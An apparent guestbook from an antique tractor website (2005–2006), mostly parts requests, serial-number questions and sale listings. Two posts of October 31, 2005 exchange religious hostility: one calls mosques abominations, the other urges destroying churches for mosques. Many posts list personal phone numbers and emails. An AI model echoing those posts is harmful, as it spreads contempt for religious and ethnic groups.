mary kemp wrote on Sunday, March 12, 2006 (PST):I am trying to locate a parts manual for a international harvester W 400 with a T/A. Can anyone give me a good website to go to so i can get a parts manual for my dad.
kirkin kansas, wrote on Sunday, March 12, 2006 (PST):Ive heard that these massey,s are relly raspy sounding, i think the engine on this one is the same as the Oliver model with 3 cylinder,s, Not sure which model number though? I know they really howl though!
Clifton Polk wrote on Sunday, March 12, 2006 (PST):I have a older Dexta and do not know haw to find the year model and I hav A parts tractor bouth with round front. HELP CLIFF
Ida Red wrote on Sunday, March 12, 2006 (PST):For Sale;Have a TD-14 Stationary engine out of a saw-mill. Norwich, Ontario. March13,2006
Todd Yates wrote on Friday, March 10, 2006 (PST):I have a serious 2 that was used as the main tractor on our farm up to about 10 years ago now i am in the process of restoring her, all up we have about 30 marshals all told most of all are bones and still have some brand new rings and bearings as well as alot of other parts stored away but sorry I cant help yous as I am in New Zealand but keep on bringing these beautys back to there glory..
robert hinckley wrote on Thursday, March 09, 2006 (PST):Darrell; The distinctive "yellow" colors on Olivers were generally industrial/construction models. I think the only difference was the paint otherwise the tractors I saw (a few) were identical to Agriculteral models. SeaBee Mal
Bill McEnery wrote on Thursday, March 09, 2006 (PST):have a ford super dexta 3 cyl diesel told its a 1964 runs clean and well not easy to start when cold is this normal? sure is a tough old goat for its size
Dave (NE) wrote on Wednesday, March 08, 2006 (PST):Dan, where are you located and how much do you want for the cultivator and plow? Email me. I tried to email you, but apparently your email was not working. Dave
Felipe Alarcon wrote on Tuesday, March 07, 2006 (PST):Dear friends ; I need a complete ford dexta steering box, used or new.excellent conditions. Please send price and conditions to e- mail My adress is in Chile, South America Thanks.
lynn wrote on Monday, March 06, 2006 (PST):I work for a gentleman who loves Massey Harris tractors. It reminds him of his childhood. anyway he has one and it needs some refurbishing. The only numbers I can find on the tractor are located next to the clutch plate Those numbers are 30 G (R?) or P 3096 could this possibly be the model and serial #
John Cook wrote on Sunday, March 05, 2006 (PST):I have a 1947/48 Pony for sale. It has a Continental rebuilt engine, not in frame. I put in a PTO, rear tires are loaded, 85% new. Front tires are not original but rims are. Located in Moncton, New Brunswick, Canada.
Mike wrote on Saturday, March 04, 2006 (PST):Looking for parts for Co-OP C . Fenders, radiator, and various other parts. Please contact. Thanks
Donna Babcock, wrote on Sunday, February 26, 2006 (PST):Our Club, Platte valley Antique Machinery Association, will be having its 23rd Annual Antique machinery working Show July 8 and 9, 2006 south of Hastings, Nebraska. We are featuring Oliver, Co-op and Cockshutt tractors (there will be others on display as well). I found the history of Oliver tractors, where can I go to find the history of the Co-ops and Cockshutts. I wish to print this information in our monthly newsletter. For more information on our show email me direct to receive a flyer by mail or go to our web site at www.pvama.org. This is a two day show. Thanks for your help.
Shawn Barkyoumb wrote on Saturday, February 25, 2006 (PST):i own a 1566 international with 350 horsepower and weighs 32,000 pound COME AND AND GET IT JOHN DEERE!
Dale wrote on Saturday, February 25, 2006 (PST):I'm looking for a power steering unit for my 330 IH if anyone knows where I could locate one, please e-mail me. Thanks.
Dan Frieden wrote on Friday, February 24, 2006 (PST):I come across a Twin Cities tractor, model #AD-2750-106 recently and was wondering if anyone has any kind of information for me. I would like to know what year, what size, how much it would be worth, and if possible, how many were manufacted. And also, where would the serial # be located. I would appreciate any information I can get.
John Wyant wrote on Thursday, February 23, 2006 (PST):I have a Allis Crawler with ser# WKO4368 and am confused with the available ser # lists. is it possible that the 6000 numbers were for Orchard K's? as mine is defenately not an orchard and has a cab and the ser# is not in the 6000 range.
olan turer wrote on Tuesday, February 21, 2006 (PST):four friends and i are building a 1968 830case comfort king for the houston livestock show and rodeo our deadline is feb.27 and we need a set of front grills,and a chrome piece for the side of the fuel tank thanks olan turner
olan turer wrote on Tuesday, February 21, 2006 (PST):four friends and i are building a 1968 830case comfort king for the houston livestock show and rodeo our deadline is feb.27 and we need a set of front grills,and a chrome piece for the side of the fuel tank thanks olan turner
Joe Cramer wrote on Saturday, February 18, 2006 (PST):I have 3 LP G1000's that I would be interested in selling. They all run, but need various repairs. 2 are Vista's, 1 is a Wheatland. Located in Western Kansas. Can send pictures if interested.
Mike Turpin wrote on Friday, February 17, 2006 (PST):I have a tractor I think it's a 1961 dexta ford .I have a #it's N17B I got it from the transmission.If you could tell me he model I sure would appreciate it.Thank you Mike Turpin
Bryan Curtman wrote on Thursday, February 16, 2006 (PST):We are looking for a restorable or good running and clean condition Oliver Super 99 GM Diesel. Please e-mail price, condition, and location. $ won't scare me off, so get that extra buck by selling to someone truly looking to buy. Thanks!
David Staege wrote on Thursday, February 16, 2006 (PST):In regard to the D21 3500 series block that Iam looking for, serial no. 3D-03200 to 3D-03400. My phone no. is 928-474-4751.
David Staege wrote on Thursday, February 16, 2006 (PST):Iam looking for a good D21 3500 series engine block.Serial no. 3D-03200 To 3D-03400
dan/nick wrote on Wednesday, February 15, 2006 (PST):Well i have found one and i found that the closest colars for the tractor is cokeacola red with a yello or gray wheels.MY LEADER HAS A HERCULES engin and it is in verey good condition for beeing pulled out of a apple tree. Ihave found that you can get a book on the moter from yestrdays tractor or some place like that. The book is preity close to beeing accuriot. I allso foud out napa auto parts can get poinys for the moter an some gasskets another stuff. may leader tractyor has a after market 3 point hitch on it it allso has power take off. I did find out that to ingade the pto you must push in the clutch or you will grind the gear box. All so som of the leader tractor font rims rust out. well if you can get a 14-14 inch donut rim and cut out the center and weld the center out of the origanal it is preity clse match. also a voltswagon rim can be used . Ijust wanted to give the in formation i had.i allso wanted some pics if some one culd send me some of thiers would make me happy. Thank you
dan/nick wrote on Wednesday, February 15, 2006 (PST):Well i have found one and i found that the closest colars for the tractor is cokeacola red with a yello or gray wheels.MY LEADER HAS A HERCULES engin and it is in verey good condition for beeing pulled out of a apple tree. Ihave found that you can get a book on the moter from yestrdays tractor or some place like that. The book is preity close to beeing accuriot. I allso foud out napa auto parts can get poinys for the moter an some gasskets another stuff. may leader tractyor has a after market 3 point hitch on it it allso has power take off. I did find out that to ingade the pto you must push in the clutch or you will grind the gear box. All so som of the leader tractor font rims rust out. well if you can get a 14-14 inch donut rim and cut out the center and weld the center out of the origanal it is preity clse match. also a voltswagon rim can be used . Ijust wanted to give the in formation i had.i allso wanted some pics if some one culd send me some of thiers would make me happy. Thank you
Jeff R. wrote on Tuesday, February 14, 2006 (PST):I have a 1958 gas Oliver 550 with a bad radiator. I am interested in purchasing a new/used radiator...any help out there would be appreciated.
nan wrote on Tuesday, February 14, 2006 (PST):I am in the process of getting a JD Model B unstyled.How do I go about finding the year and any history on this particular one.So far all we can see of the serial number is B and 5 digits, the first one is either a 3 0r 5. Any info would be greatly appreciated as I am trying to get it as a surprise for my father. Thanks.
Ron (La Center, WA) wrote on Monday, February 13, 2006 (PST):My dad had a 44 when I was young and 2 years ago I ran across a 1948 44 that had been sitting and am in the process of restoring and using it.
Terry wrote on Sunday, February 12, 2006 (PST):I just purchased an Oliver super 55 gas and i'm getting ready to restore it i was wondering if the wheels are red and what color red, and if you know what color yellow the grill is? My e-mail is eiselehouse at verizon.net Thanks, Terry
Terry wrote on Sunday, February 12, 2006 (PST):I just purchased an Oliver super 55 gas and i'm getting ready to restore it i was wondering if the wheels are red and what color red, and if you know what color yellow the grill is? Thanks, Terry
Rod M wrote on Sunday, February 12, 2006 (PST):Matt I am 99% sure that the belt pulley assembly ia interchangable
Mark Z wrote on Thursday, February 09, 2006 (PST):I am rebuilding the engine in my 8N and the book that I have says that it makes no differance which way the connecting rod is installed on the crank. I would think that the bearing notches should go to the left or right side of the block instead of, it makes no differance. I may be wrong. If anyone has any info. please let me know.
Matt wrote on Thursday, February 09, 2006 (PST):I have a 1947 I-4 Serial#16701 can anyone tell me if a belt pulley assembley off a Farmall H will work on this tractor? Thanks
monique buffett wrote on Wednesday, February 08, 2006 (PST):My uncle has a 1963 Cockshutt 550. He is having trouble with his carburetor and would like to purchase another one. The serial # is 16383 or 11973E. Both #s are on the part? If you could help me locate a parts dealer or anyone who may have this part I would appreciate it. Thank you. moniquebuffett at hotmail.com
Larry wrote on Thursday, February 02, 2006 (PST):wanting to buy a rumley to be restore,if you know of one please e-mail me
Orvis Julch wrote on Thursday, February 02, 2006 (PST):I,m looking for a left rear spin-out rim for my Minneapolis moline m-5 ( 15.5-38 tire ) can anyone help me to find one
Chad Johnson wrote on Wednesday, February 01, 2006 (PST):My father just purchased another F-12 to restore. The serial number indicates that it is a 35 however, the block does not have the serial number stamped on it. Another odd thing about the block, casted into it is 8-20-P above 1808D I believe it is. Anybody have an idea what that indicates? The 3 other F-12 blocks he has have no such casting in the block except for the 1808D. Thank you for any info.
Kenneth Branch wrote on Monday, January 30, 2006 (PST):I have a repair parts list number R739-F. The above picture is a KTA it looks just like the picture on the front of my repair parts list. Under the picture it has Manufactured by Minneapolis - Moline Power Implement Company Minneapolis, Minnesota, U.S.A., Effective February 18, 1038
Marc wrote on Monday, January 30, 2006 (PST):Wath are the real colour of oliver 60 Tank you!!!
Gary Bell wrote on Monday, January 30, 2006 (PST):PLEASE HELP WITH INFO. I am in the process of purchasing a IH McCormich FARMALL CUB tractor. The serial # is 221922 J and on the RH Tranny case is stamped 351688 R3 L 3 What year is this tractor/what is the correct model#/what is the HP rating?Displacement?/Original color (currently Yellow) Paying $1600 with woods Mower/runs great/Hydrolics work, is this a fair price in your opinion? (Located in Texas). Thank you for your help in advance. What a bueatiful tractor-gotta have one!!
FL Vinetardman wrote on Monday, January 30, 2006 (PST):Wrong model number..... OC3-42 Thanks guys
FL Vineyards wrote on Monday, January 30, 2006 (PST):I have come across an OC-42. It appears to be in good shape and restoreable. Where can I get info on this model?I do not see it mentioned in many sites. Any inofrmatin is appreciated
george wrote on Friday, January 27, 2006 (PST): Would like to find a oliver diesel 660 if anyone has heard of one for sale Located in western penna.
Mark Barnes wrote on Tuesday, January 24, 2006 (PST):I am looking for an Oliver 1900 A checkerboard. Please forward picture, location, and price. My phone numbers are 252-478-8100 or 252-445-1101 (work).
pete brown wrote on Monday, January 23, 2006 (PST):would like to find a cylinder block for a model H JD,also 2 rear wheels size 9x32. If any one knows where I can find them please let me know. Thank you Pete
Julie P. wrote on Monday, January 23, 2006 (PST):I was just woundering if anyone could tell me the worth of our old oliver super 55? It runs but needs to be over hauled. It smokes some. Can you please email me at jewellie62279 at aol.com. by the way it is a gas not diesel. I would also like to know how many was made if anyone could tell me. Thanks so much Julie
KEN wrote on Sunday, January 22, 2006 (PST):HELLO I HAVE A 55 DISEAL I AM RESTORING AND I AM LOOKING FOR A HOOD GRILL AND DASH FOR IT IF ANY ONE HAS ANY OF THIS STUFF FORSALE PLEASE EMAIL ME THANKS
John Lathan wrote on Sunday, January 22, 2006 (PST):I am looking for steel wheels for my M. My grandfather had a set, and they were cut up by someone. I could really use a new set. If you could let me know where I could find them, that would be great. Thanks.
Keith wrote on Friday, January 20, 2006 (PST):Chris Herres give me a call on the Oliver 1900 you have For Sale. 515-295-5955 Any Oliver,Cockshutt,Massy with a GM moter I would be interested in purchasing.
Leonard Henderson wrote on Thursday, January 19, 2006 (PST):www.toytractortimes.com/tttsubscribe/workmay04.htm Scroll to the bottom of the page for pictures and even the front cover of the JD sales brochure. I have been around these quite a bit. I heard that JD only built 65 altogether. At one time, I knew where 17 of them were.
Mark Riegler wrote on Sunday, January 15, 2006 (PST):I also have a hood for a 220 that is in good condition. E-Mail me for pics
Luke Roozeboom wrote on Wednesday, January 11, 2006 (PST):I'm looking for a series II D-21 with hydraulics,pto and 3 point. Willing to pay what ever it takes for a good quality tractor. Serious inquries only. phone 1-641-660-4150 if I dont answer leave a message please.
J. CLIPPERTON wrote on Tuesday, January 10, 2006 (PST):Darrel S do you have a picture of this D? I am interested in a veiw also interested in $,location,and condition
STEVE CECIL wrote on Tuesday, January 10, 2006 (PST):I AM LOOKING FOR HD5 VIDEOS I FOUND SOME ON INTERNET ONCE BUT CAN NOT FIND THEM AGAIN, IT WAS TWO HD5 WORKING ON SOME DAM IN 1955, MY DAD HAS TWO HD5, WOULD LIKE TO FIND THAT VIDEO FOR HIM...THANKS...STEVE
cody rouse wrote on Monday, January 09, 2006 (PST):want some info on cockshutt 30 tractors for school project
Dale Porter wrote on Monday, January 09, 2006 (PST):I alway wanted an OC3, well I just picked one up that is in restorable condition. Just started to get imformation on parts, and I found this site. Hope to get it ready for spring. Will be back later!
Mark Riegler wrote on Sunday, January 08, 2006 (PST):Looking for a roller on the drawbar of a D 21.
Mark Riegler wrote on Sunday, January 08, 2006 (PST):Looking for the roller that goes on the drawbar on a 220.
jason wrote on Saturday, January 07, 2006 (PST):anyone.....anyone...who knows about, would like to sell, or are willing to negotiate about an OLIVER 99 let me know. email me shipesfam at yahoo.com
mando frausto wrote on Friday, January 06, 2006 (PST):parts for ih 3414 located in texas
Charles McNelly III wrote on Thursday, January 05, 2006 (PST):I have always wanted a W-4. You don't see many around in South Texas, mainly row crop country.
Denny wrote on Wednesday, January 04, 2006 (PST):I have 1955 VAI in excellent condition with an eagle 3 point hitch for sale. I have a Woods box scraper to go with it. All for $2800. Located in Northwest Ohio. 419-692-1720
Wayne Sovocool wrote on Wednesday, January 04, 2006 (PST):I am creating a picture collage of all the Farmall tractors I grew up with in Western NY. So far I have good pictures of an F-20, H and M, but am still searching for an F-12 (preferably with steel wheels), a 400 (narrow front end)and a 560. Any help would be greatly appreciated.
Horst wrote on Tuesday, January 03, 2006 (PST):Hi Guys I need an 152 4 cyl engine block and cylinder head. My stuff here is cracked because of -40C and only Water...with no antifreeze.Is somebody out there who can help me to find the parts i need? Greetings Horst
Horst wrote on Tuesday, January 03, 2006 (PST):Hi Guys I need an 152 4 cyl engine block and cylinder head. My stuff here is cracked because of -40C and only Water...with no antifreeze.Is somebody out there who can help me to find the parts i need? Greetings Horst
Billy Reaves wrote on Sunday, January 01, 2006 (PST):I have a 60 industrial that runs great but needs restoring. I have all the parts to restore it with but I have little time to do it because I'm in the Navy. My family owns numerous Oliver vintage tractors, most have been retored.
aj gonz wrote on Sunday, January 01, 2006 (PST):I have a Farmall Model H Serial # 373345X1. Engine block #6695-DE. I'm looking for a hydraulic pump for the loader which was attached when purchased in South Texas in 1989. Any idea where to purchase the entire hydraulic pump? If I'm wrong on the model H, please let me
Jeff Alexander wrote on Sunday, January 01, 2006 (PST):My Grandfather bought an R in the early 70's to go along with an "A" model. He and my father taught me how to drive it a the age of 10. Many coffee cans sat atop the exaust pipe over the years, loved to see the can pop off when those cylinders kicked in! Anyway Pop passed away when I was 11 and Dad inherited it. That R stayed on the farm until 1989-90 when Dad sold out of farming, and sold it to another local farmer who restored it and keeps it a barn (no need for the coffee can). I have visited the old R and was lucky enough to get to start it! Still a thril to hear those 2 cylinders pop!
Kevin wrote on Friday, December 30, 2005 (PST):Grew up on a small dairy farm in NE Iowa and we had a 1066. That tractor was a workhorse. Didn't matter if you were pickin up round bales with a fork or pulling a bailer and wagon, she always got the job done. Now I live in DC and what I wouldn't give to spend an afternoon in the field driving that 1066 again. Good times!!
Gene Williams wrote on Friday, December 30, 2005 (PST):we pull tractors i came about a d15 seris II and decided to let my son pull it just so he could have somthing he has not been beat on the tractor yet that was 2years ago. We are currently restoring it.
Doreen Coleman wrote on Tuesday, December 27, 2005 (PST):WE have a D12 on ebay right now..item number 7574955974, thanks Doreen
Kip Coe wrote on Tuesday, December 27, 2005 (PST): I just bought three MMs,G 705,G 1000 propane,and a G 1000 diesel with a cab for $1500.00.The 705 runs great,propane locked up,and the diesel 1000 smokes.Spent all my time on on Red and Green but no Yellow.where can i buy over haul parts for my new family?
Mike wrote on Friday, December 23, 2005 (PST):Afriend has I believe a Co-op C. I'm looking for any info how to identify. Serial #s , where to find info, pictures, etc. Any help would be appreciated.
Cletie wrote on Thursday, December 22, 2005 (PST):i have a oliver 440 i am needing a fromt rim bad. Can anyone help?
Joe Hamilton wrote on Wednesday, December 21, 2005 (PST):I have a Minneapolis Moline model BF single front tire model with the IXB Hurcules Engine and I need a reasonable priced water pump.I do not have a core.903-826-4184
L. A. Lamb wrote on Wednesday, December 21, 2005 (PST):I have a UTU 1940 model just got it to run, almost have it restored...need tires on the rear 12x36 hard to find.......can't wait to drive it...it runs a little rough,but for a 65 year old tractor.i'm 68 and i run rough too lol
Shannon From Iowa wrote on Sunday, December 18, 2005 (PST):I am Looking for a Manufacturer that Makes a Chrome Straight Stack for the MX Series Magnum Tractors. Lets face it the only thing better than a Red Tractor is Hearing a Red Tractor ROAR....!!!
Don in Alberta wrote on Saturday, December 17, 2005 (PST):Just found this site today. Guess I really have the MM disease bad. I have12 of them.2 G's,8U's,3 Z's. One U is a Special and my "slow Racer" Steiner Tractor Parts,810-621-3000 have new maniflods and a few other parts. 38 inch tires are hard to find. Best to buy a parts tractor for other needed parts. Generators,starters and hydraulic pumps can be serviced almost any where.
dylan wrote on Saturday, December 17, 2005 (PST):the darker color is because of the age of the paint
dylan wrote on Saturday, December 17, 2005 (PST):robert godwin the m is probably about right the smta should go for more not many smtas were made and Bill K you might need a bigger truck but DEFINATLY block the trailer but i don't know what the baler and plow is worth dale if its totally restored and you did a GOOD job i would go for 3,000 but that's asking a little much now thats just the tractor if you didn't restore it but tin and engine are good it's worth about 1,400ish if you did a ok job and will just make you happy it will be inbetween that Jesse austin you have a tractor smaller than a m because you have a side mounted seat
dylan wrote on Saturday, December 17, 2005 (PST):robert godwin the m is probably about right the smta should go for more not many smtas were made and Bill K you might need a bigger truck but DEFINATLY block the trailer but i don't know what the baler and plow is worth dale if its totally restored and you did a GOOD job i would go for 3,000 but that's asking a little much now thats just the tractor if you didn't restore it but tin and engine are good it's worth about 1,400ish if you did a ok job and will just make you happy it will be inbetween that Jesse austin you have a tractor smaller than a m because you have a side mounted seat
dylan wrote on Saturday, December 17, 2005 (PST):robert godwin the m is probably about right the smta should go for more not many smtas were made and Bill K you might need a bigger truck but DEFINATLY block the trailer but i don't know what the baler and plow is worth dale if its totally restored and you did a GOOD job i would go for 3,000 but that's asking a little much now thats just the tractor if you didn't restore it but tin and engine are good it's worth about 1,400ish if you did a ok job and will just make you happy it will be inbetween that Jesse austin you have a tractor smaller than a m because you have a side mounted seat
William wrote on Thursday, December 15, 2005 (PST):I am looking for sheet meatal and raditor tanks for a aos. My email is shultzinator at hotmail.com thanks
BRIAN ROCH wrote on Tuesday, December 13, 2005 (PST):I NEED CLUTH PLATE FOR MY VC TRACTOR PLEASE HELP
DARRYL KRAUSE wrote on Sunday, December 11, 2005 (PST):Have a series 1 D-21 for sale Serial #1091 flatback with hydrolics,1900 hrs on rebuild,turbo,chrome grill,60%+18.4x34,air conditioning,fender skirts,no rust,spare hood.$4250.Call 360 815 6979 In Lynden,Wa.Have photo's
SSWilliams wrote on Friday, December 09, 2005 (PST):I was wondering what kind of price I could get for a D-15 diesel Allis Chalmers, 4-cyl. I was told that they are pretty rare. It is 75 percent original and runs.
Matt Lamendola wrote on Thursday, December 08, 2005 (PST):i recently bought a rock island type"F" tractor to restore and it seems that the idler gear has been taken out of it. if you have a spare or if you know of someone that has one please contact me as soon as possible. thanks matt lamendola
Don Haase wrote on Thursday, December 08, 2005 (PST):In 1965 I bought a AC D21 ser. 1032.I think it was the 32nd one biult.It was a 1963 model. I biult a cab for it. It looked like a Year-round cab. It had 32.5 rubber and a 3piont & PTO. The rear end went out & the front hubs broke the cluch went.The company helped rebiult the rear end. I was 20 years old at the time It was a real experance for me.Now I am retired.
Tom Parrrett wrote on Tuesday, December 06, 2005 (PST):My grandfather was Dent Parrett, founder of several tractor companies. I am gathering info about him and his activities and would appreciate any help. I am especially interested in his work on Co-Op, Cockshutt, Wallis, Massey-Harris, Graham-Bradley and any other tractors. Tom Parrett, New York City
Rob Shuey wrote on Monday, December 05, 2005 (PST):I am looking to purchase a Sheppard Diesel SD-3 wide front tractor. In addition I am looking to purchase parts for a Sheppard Diesel SD-4 tractor.
Peter Herring wrote on Friday, December 02, 2005 (PST):I have just bought a non runner 1955 TED Petrol/TVO Ferguson. It doesn't have a key to start, I believe it is started via the gearstick. Is anyone out there able to let me know the full starting procedure from the beginning as I am a novice Many thanks Peter
fran vanderweyst wrote on Friday, December 02, 2005 (PST):a freind o mine has a co-op #4 for sale, it's in really good shape repainted about 6 yrs. ago. any buyers please contact me 12/2/05
pooh wrote on Tuesday, November 29, 2005 (PST):I have a gas 1955 super 55 and a new ym2000 diesel yanmar. I want to trade it for anouther oliver. I live in wise VA. email poohbear24293 at adelphia.net or 276-328-5925
Mc Cormic Kirk wrote on Sunday, November 27, 2005 (PST):Are the W-6,s and the like supposed to be a dark red Instead of the light red that I see so much of?\ Just seem,s like they would look so much better in tha darker red than that bright red of the modern era,
Dave Pembroke wrote on Sunday, November 27, 2005 (PST):I own a CO-OP C #226 Next winters project !!
charles sanderson wrote on Saturday, November 26, 2005 (PST):i would like to buy a allis chalmers crawler tractor model k with a steering wheel and a baker blade. any condition.if you know of one or have one available, please write, thanks, charlie
charles sanderson wrote on Saturday, November 26, 2005 (PST):i would like to buy a allis chalmers crawler tractor model k with a steering wheel and a baker blade. any condition.if you know of one or have one available, please write, thanks, charlie
charles wrote on Thursday, November 24, 2005 (PST):Hi was wondering if anyone could help me with a question i need to know if you can put a 55 massey motor into a 44 special are they interchangable has anyone ever done it before TY
Michael Myers wrote on Thursday, November 24, 2005 (PST):I am researching this tractor for my father. My grandfather ecently pat away and gave my father a leader tractor. All I know is that it is red with no fenders like the one picture on this page. I will get more infomation and will have questions about parts and where to get them. thanks,
Yves Blondin wrote on Sunday, November 20, 2005 (PST):Iwant buy this model but i dont know how many pound he as. Do you know how many pound as this tractor Internationa W4. I am sorry, i dont speak english very well. Thank you.
Ruth-Ann wrote on Friday, November 18, 2005 (PST):We're having a problem with our Pony's electrical system on the tractor we're restoring. It's the original generator and starter and has a new battery, but it's draining the battery. The manual we purchased doesn't address this issue. Does anyone have any suggestions/solutions/tips for us? Thank you in advance.
560 d with turbo wrote on Friday, November 18, 2005 (PST):a buddy and me pull a 560 d with a turbo. it will put out 160 hp. it has a pulling cluch and ta. it also has 18.4 38 on the back. we care 4400 lb extera around for the 560. i also pull a 1466. i have a total of 9000 extera lb for the to tractors. in IH trust
david mcintire wrote on Thursday, November 17, 2005 (PST):does anyone know the location of the 0ne millionth tractor produced by ih at rock island, illinois
nicolas wrote on Wednesday, November 16, 2005 (PST):I am spanish. my father had one 1466.IH for my was the best tractor that I saw. now we have mx 255, mx 135,one valtra, IH 1455 german tractor and very hard tractor, now will have 18,000 hours.
HOMER JENNINGS wrote on Tuesday, November 15, 2005 (PST):we would like to know the original color of a 1947 BF AVERY V THANK YOU H.J.
David C. wrote on Tuesday, November 15, 2005 (PST):I am trying to locate a new radiator for a 8n converted to a 6 cyl Ford F150 engine. Does anyone know were I can get a new radiator?
Dave Bays wrote on Thursday, November 10, 2005 (PST):I have a 1955 Super 55 Oliver diesel tractor with Green wheels and a rear remote. The tractor is in average condition and can be purchased for 3500.00 If interested call cell # (765) 265-3925 and leave message
Carol Morris wrote on Wednesday, November 09, 2005 (PST):I have an Oliver Super 44 tractor. It runs great and has all origional parts. I am interested in selling it.
Ronald McCormick wrote on Wednesday, November 09, 2005 (PST):I have a DC Case tractor with the serial#8029395 narrow front end. can anyone help me find more info on this tractor.The tractor still runs and looks great.Just can't find any info. on it.Maybe I'm not looking at the right numbers but our local Case dealer says I am. HELP!!!!
Brian Wilcox wrote on Tuesday, November 08, 2005 (PST):Am looking for an M&M "V" tractor to restore. If you can help please E-mail me. Thank's
mark ontariohancock wrote on Tuesday, November 08, 2005 (PST):i bought a 1959 44. they are an excellent tractor and i have never had a problem with it and hope to get many more years out of it.i had a problem with the engine seals always leaking and the reverse gear wearingout evry year
Dominic Derricks wrote on Monday, November 07, 2005 (PST):I need a series 2, preferably running, and in upper midwest please get back to me.
lee thomas wrote on Sunday, November 06, 2005 (PST):What is normal oil pressure on leader with ixb5 engine?
greg black wrote on Wednesday, November 02, 2005 (PST):carrie i found a used block in a junk yard in missouri can't remember name look under tractor salvage in this state
Bran Marian wrote on Wednesday, November 02, 2005 (PST):I am Bran Marian From romania I am selling a gas engine made in germany in 1900 by ,,Deutz" company.The engine was brought by some rellatives in 1905 in village ,,putineiu".He was brought by my grand grand father who was on germany in those years.The engine remainned owers until today.I am looking to sell the gas engine..I even have some pictures thit my grand=grand father and his engine.In case that you want to buy it the transport is made by the buyer . The price is 5000 euro.You can contact me anytime. My number is ;(004)(0247)415132.You can call me everyday betwen 15;00 and 21;00 o'clock The engine is 100% functionable.My asurence is that it has no missing parts,he is 100% complete.It's in good shape.you only have to put oil between the mechanism.If you want to buy it please give me you details about your country and adress and all soo we make the deal,and the date when you send the transport to my country.(i am looking to sell it in maximum two weeks because i dont want the winter to chatch me without selling it) Waiting for your reply. Whit all the respect,Bran Marian From Romania
GREG BLACK wrote on Monday, October 31, 2005 (PST):A 6X3 POWER BLOCK HAS OVER SIZED PISTONS AND WAS USUALLY INSTALLED FOR MAXIMUM HORSE POWER USUALLY INSTALLED FOR PULLING A DISC MY 60 HAD ONE IN IT BROKE A RING THESE BLOCKS CANNOT BE BORED THEY ARE ALREADY STRECHED .110 THOUSANDS
greg black wrote on Monday, October 31, 2005 (PST):I HAVE A 60 JD RUNS GOOD PLPULLS GOOD HAS POWER STEERING AND THREE POINT HITCH WANTING TO KNOW IF HYD. WILL OPERATE A FRONT END LOADER
greg black wrote on Monday, October 31, 2005 (PST):I have a 240U IH looking for a front end loader that will fit it i live in mississippi
daniel wrote on Monday, October 31, 2005 (PST):I need to know if i can run remote hyd on this 541 that i have . Any one have any info
Chris IH wrote on Monday, October 31, 2005 (PST):I own a 1942 Farmall M and i am going to pull with it. I have a 6336 head and i wanted to know if that is a propane head. or what casting number head would have the highest compression? call me at 701 200 4172
Chris IH wrote on Monday, October 31, 2005 (PST):I own a 1942 Farmall M and i am going to pull with it. I have a 6336 head and i wanted to know if that is a propane head. or what casting number head would have the highest compression?
William Kettleborough wrote on Monday, October 31, 2005 (PST):HA HA HA.......That will be the day!Go home, and stop using this ENGLISH website!Brittania rules the waves!Churches are lovely, but mosques, are just abombinations!
ahmed ablunysta wrote on Monday, October 31, 2005 (PST):Destroy tractors, all england needs are mosques.A good job for tractors would be to destroy existing churches, where future mosques will be.Indians will rule the country!
Bill from Quebec wrote on Sunday, October 30, 2005 (PST):To all you cub afficionados, those front mount blades also mount underneath to work as a grader. Ditto for many other Farmall models.
decatur overby wrote on Sunday, October 30, 2005 (PST):I need an oil pan for a 59 Oliver 550 gas.....
Joe Koenig (jonak) wrote on Sunday, October 30, 2005 (PST):I am among the owners of a JD 2010.I need two 600 or 6;50X14 front three rib tires. So far I cannot find a 14" rib tire at any company, Any help out there? And, Thank you ahead of time. Joe Koenig
Kris Robinson wrote on Saturday, October 29, 2005 (PDT):Have 43 Vai, looking for information and photos of restored used on a US air force base to mow, What color would this have been, I also see that it has Veterans Administration decals with some kind of Badge on the side panels. I am looking for a picture of one restored or even with the sickle bar mower it originally had on it, now it has a belly mower rigged to the bottom running off of the PTO. Any information anybody knows would be very helpful in me restoring this tractor to original, thanks.
kevin wrote on Saturday, October 29, 2005 (PDT):wanted step by step instruction for rebuild of tsv 24 carb for massey harris pony tractor. Have new kit but no instructions. My carb is missing most off these rings and packing
Duane Kline wrote on Friday, October 28, 2005 (PDT):I am restoring a 220 AC and am almost finished. Northside tractor was a great help! I still need a draw bar and a sway block for the left side?
Rick Barone wrote on Friday, October 28, 2005 (PDT):Hello all! I have a 1947(?) Leader D. Someone butchered the radiator grill, and I'm looking for another. Any leads? Also looking for info on rebuilding the starter. Any idea who would have parts for these?
roger wrote on Friday, October 28, 2005 (PDT):how did the B differ from the BN what does the N stand for
HAS wrote on Thursday, October 27, 2005 (PDT):Found a regular B today - all growed up around it. I'd like to make the man a fair offer - Any advice on how much I should offer? It is not running, engine unknown. Only parts missig appear to be oil cap and exhaust pipe & muffler. Tires are up, but real weathered. Don't know if it's stuck or not.
Erik Dekeyser wrote on Thursday, October 27, 2005 (PDT):I would like to buy a IH cub, but i want to get one from the 70s in good shape. Please email me with a picture if posible.
Loren Rausch wrote on Thursday, October 27, 2005 (PDT):I have 2 39 F-20s. One has been housed throughout its life, the second not which I just bought. I have an owners manual for it, very useful!! V-fan belts indicates that they are both 39s. I used the best 20 for pulling wood wagons, making fence and for nursery work as I have an add-on toolbox. The governor real responds well under load and it has a road gear infront on the transmission and really hauls tail!! Faster than my 3020!! My other 20 I just bought and is froze up. I have removed the valve cover and Liquid Wrenched the springs up and under, and the pushrods. Also did the spark plug holes after taking out plugs. Parked my JD 3020 parallel to it and engaged the crank on the 20 and rapped a chain around it and a "come along" to the end of the chain and to the 3020 frame and applied some pressure and holding now for the Marvel Mystery oil& Liquid Wrench to work. This 20 needs a fan shroud, a toolbox under the tank and the motor freed up & tires. Drawbar shows very little wear. On the hood on top by the radiator cap is a bracket that looks like it had a generator attached to it. Also the belt pulley on the crankshaft has 2 slots--one for the v fan belt and the other apparently for the generator that used to be there. This one also has the mag missing but I got one--the right one to go on. If it turns out as good as my good one gosh I'd be happy. Anybody got a fanshroud and a tool box that is relatively decent?? Algoma, WI
Doug Newhouse wrote on Wednesday, October 26, 2005 (PDT):I am looking for a D21 in any condition, preferably in Wisconsin or midwest. I would consider anything available in the lower 48.
Southwesteader wrote on Wednesday, October 26, 2005 (PDT):Can any one tell me how wide the pony is?
john cooper wrote on Wednesday, October 26, 2005 (PDT):I purchased a IH H model, serial # FBH 256747X1B. Can anyone tell me what year it is, or how I can find the answer. Thanks.
